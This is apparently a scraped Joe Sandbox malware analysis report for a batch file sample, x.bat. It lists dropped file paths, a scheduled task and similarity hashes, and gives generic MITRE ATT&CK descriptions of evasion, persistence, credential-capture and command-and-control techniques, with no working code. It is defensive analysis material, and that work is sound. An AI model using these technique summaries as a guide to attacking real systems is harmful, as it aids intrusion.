Snapshot File: hcaresult_14_2_2baaee00000_dwm.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: edf732acfe8a8b1979705777c81849703b5d4d240706bab5b6d58847dad35a27
Instruction ID: 5474bef31ff282b6388866029c6cd3c63edfe48d2c9275a8bdd1e4d734c1f980
Opcode Fuzzy Hash: edf732acfe8a8b1979705777c81849703b5d4d240706bab5b6d58847dad35a27
Instruction Fuzzy Hash: 6FE0ED71711904AAE729AB62D80825977B2FB98B15F548064C94907710EF3C84DDD621

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report x.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Vault\UserProfileRoaming\Latest.dat

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0yuu5lfh.tsj.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lborm240.t4d.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q5zsrksq.1t3.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ytqwpru5.za0.ps1

C:\Windows\$nya-onimai2\$nya-Onimai.bat (copy)

C:\Windows\$nya-onimai2\IfMUlU.exe

C:\Windows\$rbx-onimai2\$rbx-CO2.bat

C:\Windows\System32\Tasks\$nya-SgIauazY

C:\Windows\System32\winevt\Logs\Application.evtx

C:\Windows\System32\winevt\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx

Windows Analysis Report
x.bat

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre